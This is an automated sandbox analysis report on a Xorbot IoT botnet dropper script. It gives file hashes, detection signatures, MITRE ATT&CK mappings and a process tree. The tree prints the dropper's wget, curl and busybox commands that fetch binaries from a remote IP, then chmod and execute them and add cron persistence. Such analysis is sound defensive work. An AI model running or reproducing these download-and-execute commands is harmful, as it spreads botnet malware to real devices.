xorbot | 651facfa97c82b41031bd4d86471086561fd460b8d7a974018fd5f2fad2b81af

Analysis

max time kernel
130s
max time network
151s
platform
debian-9_armhf
resource
debian9-armhf-20240418-en
resource tags

arch:armhfimage:debian9-armhf-20240418-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
01-12-2024 02:17

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General

Target

bins.sh
Size

10KB
MD5

2e0f38cfc6726b8feda8dfd9a839df81
SHA1

d140fedfb105520013211fe1a1abbc9de5d560d0
SHA256

651facfa97c82b41031bd4d86471086561fd460b8d7a974018fd5f2fad2b81af
SHA512

900ecfb5f6760b7523bd53f377a30abdad640c34b4d3d180da8449bd8c84b7f47d41c80fa4757a289a1a99b14d657a1ddeffde3baa9b7dccfee61266bd76c029
SSDEEP

192:M/fXV8QRDE/Lj23cEns7Vw8sLjwEc7r//Lj23cFVw86DwEc7ri/fXV8QM:M/fXV8QRDE/Lj23cEns70W/Lj23cFq/C

Score

10^/10

xorbot antivm botnet defense_evasion discovery execution persistence privilege_escalatio trojan

Malware Config

Signatures

Detects Xorbot 1 IoCs

botnet trojan

Processes:

resource	yara_rule
behavioral2/files/fstream-1.dat	family_xorbot

Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
botnet trojan xorbot
Xorbot family
xorbot
Contacts a large (2112) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

File and Directory Permissions Modification 1 TTPs 2 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

Processes:

chmodchmod

pid	Process
684	chmod
726	chmod

Executes dropped EXE 2 IoCs

Processes:

NOVqLDdeCkROncjDiJ24XZfsQIQXiijeYEzZUAX0wIalsy3fvEh5B8X31RVZEQx55kUj

ioc	pid	Process
/tmp/NOVqLDdeCkROncjDiJ24XZfsQIQXiijeYE	685	NOVqLDdeCkROncjDiJ24XZfsQIQXiijeYE
/tmp/zZUAX0wIalsy3fvEh5B8X31RVZEQx55kUj	728	zZUAX0wIalsy3fvEh5B8X31RVZEQx55kUj

Renames itself 1 IoCs

Processes:

zZUAX0wIalsy3fvEh5B8X31RVZEQx55kUj

pid	Process
729	zZUAX0wIalsy3fvEh5B8X31RVZEQx55kUj

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalatio

Cron

T1053.003

Processes:

crontab

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.QDthKD	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Checks CPU configuration 1 TTPs 2 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

Processes:

curlcurl

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

Processes:

zZUAX0wIalsy3fvEh5B8X31RVZEQx55kUjcurl

description	ioc	Process
File opened for reading	/proc/770/cmdline	zZUAX0wIalsy3fvEh5B8X31RVZEQx55kUj
File opened for reading	/proc/785/cmdline	zZUAX0wIalsy3fvEh5B8X31RVZEQx55kUj
File opened for reading	/proc/876/cmdline	zZUAX0wIalsy3fvEh5B8X31RVZEQx55kUj
File opened for reading	/proc/4/cmdline	zZUAX0wIalsy3fvEh5B8X31RVZEQx55kUj
File opened for reading	/proc/12/cmdline	zZUAX0wIalsy3fvEh5B8X31RVZEQx55kUj
File opened for reading	/proc/17/cmdline	zZUAX0wIalsy3fvEh5B8X31RVZEQx55kUj
File opened for reading	/proc/304/cmdline	zZUAX0wIalsy3fvEh5B8X31RVZEQx55kUj
File opened for reading	/proc/799/cmdline	zZUAX0wIalsy3fvEh5B8X31RVZEQx55kUj
File opened for reading	/proc/872/cmdline	zZUAX0wIalsy3fvEh5B8X31RVZEQx55kUj
File opened for reading	/proc/743/cmdline	zZUAX0wIalsy3fvEh5B8X31RVZEQx55kUj
File opened for reading	/proc/805/cmdline	zZUAX0wIalsy3fvEh5B8X31RVZEQx55kUj
File opened for reading	/proc/980/cmdline	zZUAX0wIalsy3fvEh5B8X31RVZEQx55kUj
File opened for reading	/proc/904/cmdline	zZUAX0wIalsy3fvEh5B8X31RVZEQx55kUj
File opened for reading	/proc/931/cmdline	zZUAX0wIalsy3fvEh5B8X31RVZEQx55kUj
File opened for reading	/proc/975/cmdline	zZUAX0wIalsy3fvEh5B8X31RVZEQx55kUj
File opened for reading	/proc/983/cmdline	zZUAX0wIalsy3fvEh5B8X31RVZEQx55kUj
File opened for reading	/proc/778/cmdline	zZUAX0wIalsy3fvEh5B8X31RVZEQx55kUj
File opened for reading	/proc/831/cmdline	zZUAX0wIalsy3fvEh5B8X31RVZEQx55kUj
File opened for reading	/proc/893/cmdline	zZUAX0wIalsy3fvEh5B8X31RVZEQx55kUj
File opened for reading	/proc/790/cmdline	zZUAX0wIalsy3fvEh5B8X31RVZEQx55kUj
File opened for reading	/proc/745/cmdline	zZUAX0wIalsy3fvEh5B8X31RVZEQx55kUj
File opened for reading	/proc/766/cmdline	zZUAX0wIalsy3fvEh5B8X31RVZEQx55kUj
File opened for reading	/proc/782/cmdline	zZUAX0wIalsy3fvEh5B8X31RVZEQx55kUj
File opened for reading	/proc/978/cmdline	zZUAX0wIalsy3fvEh5B8X31RVZEQx55kUj
File opened for reading	/proc/29/cmdline	zZUAX0wIalsy3fvEh5B8X31RVZEQx55kUj
File opened for reading	/proc/783/cmdline	zZUAX0wIalsy3fvEh5B8X31RVZEQx55kUj
File opened for reading	/proc/889/cmdline	zZUAX0wIalsy3fvEh5B8X31RVZEQx55kUj
File opened for reading	/proc/896/cmdline	zZUAX0wIalsy3fvEh5B8X31RVZEQx55kUj
File opened for reading	/proc/965/cmdline	zZUAX0wIalsy3fvEh5B8X31RVZEQx55kUj
File opened for reading	/proc/966/cmdline	zZUAX0wIalsy3fvEh5B8X31RVZEQx55kUj
File opened for reading	/proc/638/cmdline	zZUAX0wIalsy3fvEh5B8X31RVZEQx55kUj
File opened for reading	/proc/672/cmdline	zZUAX0wIalsy3fvEh5B8X31RVZEQx55kUj
File opened for reading	/proc/777/cmdline	zZUAX0wIalsy3fvEh5B8X31RVZEQx55kUj
File opened for reading	/proc/913/cmdline	zZUAX0wIalsy3fvEh5B8X31RVZEQx55kUj
File opened for reading	/proc/867/cmdline	zZUAX0wIalsy3fvEh5B8X31RVZEQx55kUj
File opened for reading	/proc/878/cmdline	zZUAX0wIalsy3fvEh5B8X31RVZEQx55kUj
File opened for reading	/proc/908/cmdline	zZUAX0wIalsy3fvEh5B8X31RVZEQx55kUj
File opened for reading	/proc/765/cmdline	zZUAX0wIalsy3fvEh5B8X31RVZEQx55kUj
File opened for reading	/proc/797/cmdline	zZUAX0wIalsy3fvEh5B8X31RVZEQx55kUj
File opened for reading	/proc/955/cmdline	zZUAX0wIalsy3fvEh5B8X31RVZEQx55kUj
File opened for reading	/proc/818/cmdline	zZUAX0wIalsy3fvEh5B8X31RVZEQx55kUj
File opened for reading	/proc/821/cmdline	zZUAX0wIalsy3fvEh5B8X31RVZEQx55kUj
File opened for reading	/proc/880/cmdline	zZUAX0wIalsy3fvEh5B8X31RVZEQx55kUj
File opened for reading	/proc/907/cmdline	zZUAX0wIalsy3fvEh5B8X31RVZEQx55kUj
File opened for reading	/proc/960/cmdline	zZUAX0wIalsy3fvEh5B8X31RVZEQx55kUj
File opened for reading	/proc/13/cmdline	zZUAX0wIalsy3fvEh5B8X31RVZEQx55kUj
File opened for reading	/proc/739/cmdline	zZUAX0wIalsy3fvEh5B8X31RVZEQx55kUj
File opened for reading	/proc/760/cmdline	zZUAX0wIalsy3fvEh5B8X31RVZEQx55kUj
File opened for reading	/proc/895/cmdline	zZUAX0wIalsy3fvEh5B8X31RVZEQx55kUj
File opened for reading	/proc/9/cmdline	zZUAX0wIalsy3fvEh5B8X31RVZEQx55kUj
File opened for reading	/proc/815/cmdline	zZUAX0wIalsy3fvEh5B8X31RVZEQx55kUj
File opened for reading	/proc/892/cmdline	zZUAX0wIalsy3fvEh5B8X31RVZEQx55kUj
File opened for reading	/proc/814/cmdline	zZUAX0wIalsy3fvEh5B8X31RVZEQx55kUj
File opened for reading	/proc/925/cmdline	zZUAX0wIalsy3fvEh5B8X31RVZEQx55kUj
File opened for reading	/proc/945/cmdline	zZUAX0wIalsy3fvEh5B8X31RVZEQx55kUj
File opened for reading	/proc/108/cmdline	zZUAX0wIalsy3fvEh5B8X31RVZEQx55kUj
File opened for reading	/proc/144/cmdline	zZUAX0wIalsy3fvEh5B8X31RVZEQx55kUj
File opened for reading	/proc/744/cmdline	zZUAX0wIalsy3fvEh5B8X31RVZEQx55kUj
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/757/cmdline	zZUAX0wIalsy3fvEh5B8X31RVZEQx55kUj
File opened for reading	/proc/786/cmdline	zZUAX0wIalsy3fvEh5B8X31RVZEQx55kUj
File opened for reading	/proc/963/cmdline	zZUAX0wIalsy3fvEh5B8X31RVZEQx55kUj
File opened for reading	/proc/918/cmdline	zZUAX0wIalsy3fvEh5B8X31RVZEQx55kUj
File opened for reading	/proc/958/cmdline	zZUAX0wIalsy3fvEh5B8X31RVZEQx55kUj

Writes file to tmp directory 6 IoCs

Malware often drops required files in the /tmp directory.

Processes:

busyboxwgetcurlbusyboxwgetcurl

description	ioc	Process
File opened for modification	/tmp/zZUAX0wIalsy3fvEh5B8X31RVZEQx55kUj	busybox
File opened for modification	/tmp/NOVqLDdeCkROncjDiJ24XZfsQIQXiijeYE	wget
File opened for modification	/tmp/NOVqLDdeCkROncjDiJ24XZfsQIQXiijeYE	curl
File opened for modification	/tmp/NOVqLDdeCkROncjDiJ24XZfsQIQXiijeYE	busybox
File opened for modification	/tmp/zZUAX0wIalsy3fvEh5B8X31RVZEQx55kUj	wget
File opened for modification	/tmp/zZUAX0wIalsy3fvEh5B8X31RVZEQx55kUj	curl

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:646
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:649
- /usr/bin/wget
  wget http://216.126.231.240/bins/NOVqLDdeCkROncjDiJ24XZfsQIQXiijeYE
  2⤵
  - Writes file to tmp directory
  PID:651
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/NOVqLDdeCkROncjDiJ24XZfsQIQXiijeYE
  2⤵
  - Checks CPU configuration
  - Writes file to tmp directory
  PID:676
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/NOVqLDdeCkROncjDiJ24XZfsQIQXiijeYE
  2⤵
  - Writes file to tmp directory
  PID:679
- /bin/chmod
  chmod 777 NOVqLDdeCkROncjDiJ24XZfsQIQXiijeYE
  2⤵
  - File and Directory Permissions Modification
  PID:684
- /tmp/NOVqLDdeCkROncjDiJ24XZfsQIQXiijeYE
  ./NOVqLDdeCkROncjDiJ24XZfsQIQXiijeYE
  2⤵
  - Executes dropped EXE
  PID:685
- /bin/rm
  rm NOVqLDdeCkROncjDiJ24XZfsQIQXiijeYE
  2⤵
  PID:688
- /usr/bin/wget
  wget http://216.126.231.240/bins/zZUAX0wIalsy3fvEh5B8X31RVZEQx55kUj
  2⤵
  - Writes file to tmp directory
  PID:690
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/zZUAX0wIalsy3fvEh5B8X31RVZEQx55kUj
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:704
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/zZUAX0wIalsy3fvEh5B8X31RVZEQx55kUj
  2⤵
  - Writes file to tmp directory
  PID:718
- /bin/chmod
  chmod 777 zZUAX0wIalsy3fvEh5B8X31RVZEQx55kUj
  2⤵
  - File and Directory Permissions Modification
  PID:726
- /tmp/zZUAX0wIalsy3fvEh5B8X31RVZEQx55kUj
  ./zZUAX0wIalsy3fvEh5B8X31RVZEQx55kUj
  2⤵
  - Executes dropped EXE
  - Renames itself
  - Reads runtime system information
  PID:728
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:730
  - - /usr/bin/crontab
      crontab -l
      4⤵
      PID:731
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:733
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      PID:734
- /bin/rm
  rm zZUAX0wIalsy3fvEh5B8X31RVZEQx55kUj
  2⤵
  PID:740
- /usr/bin/wget
  wget http://216.126.231.240/bins/sOpHFdV521t8TEceKAtTiXTkxNqaiRM1tz
  2⤵
  PID:743

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

Network Service Discovery

T1046

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

/tmp/NOVqLDdeCkROncjDiJ24XZfsQIQXiijeYE

Filesize
99KB

MD5
9438d9bc392bcf300a5583b6df5bc8f6

SHA1
375a6ae34b516f6f3eeea8030c4084f585017efa

SHA256
68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

SHA512
1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

Download Submit
/tmp/zZUAX0wIalsy3fvEh5B8X31RVZEQx55kUj

Filesize
177KB

MD5
786d75a158fe731feca3880f436082c0

SHA1
79ea2734e43d00cdeabed5586b2c1994d02aef3e

SHA256
5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18

SHA512
7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f

Download Submit
/var/spool/cron/crontabs/tmp.QDthKD

Filesize
210B

MD5
1903745a9bba5ba9b255abf1fa04449d

SHA1
8f282af500ac36b8079283a1a190212c50887455

SHA256
96797d401d6497894b9540c5234188482fab95a9a9a8595866dc8dbcee4a577e

SHA512
a65e01d8c9b3610b1c570c9e8ebdd43aaf9cb24ed0f553c1cced129ffd4a4f37a3703f765d76999e9de02fad83f8d5ccfe386ef2e7d6388531094f4062cf7783

Download Submit
memory/743-1-0xb677a000-0xb678b044-memory.dmp

Download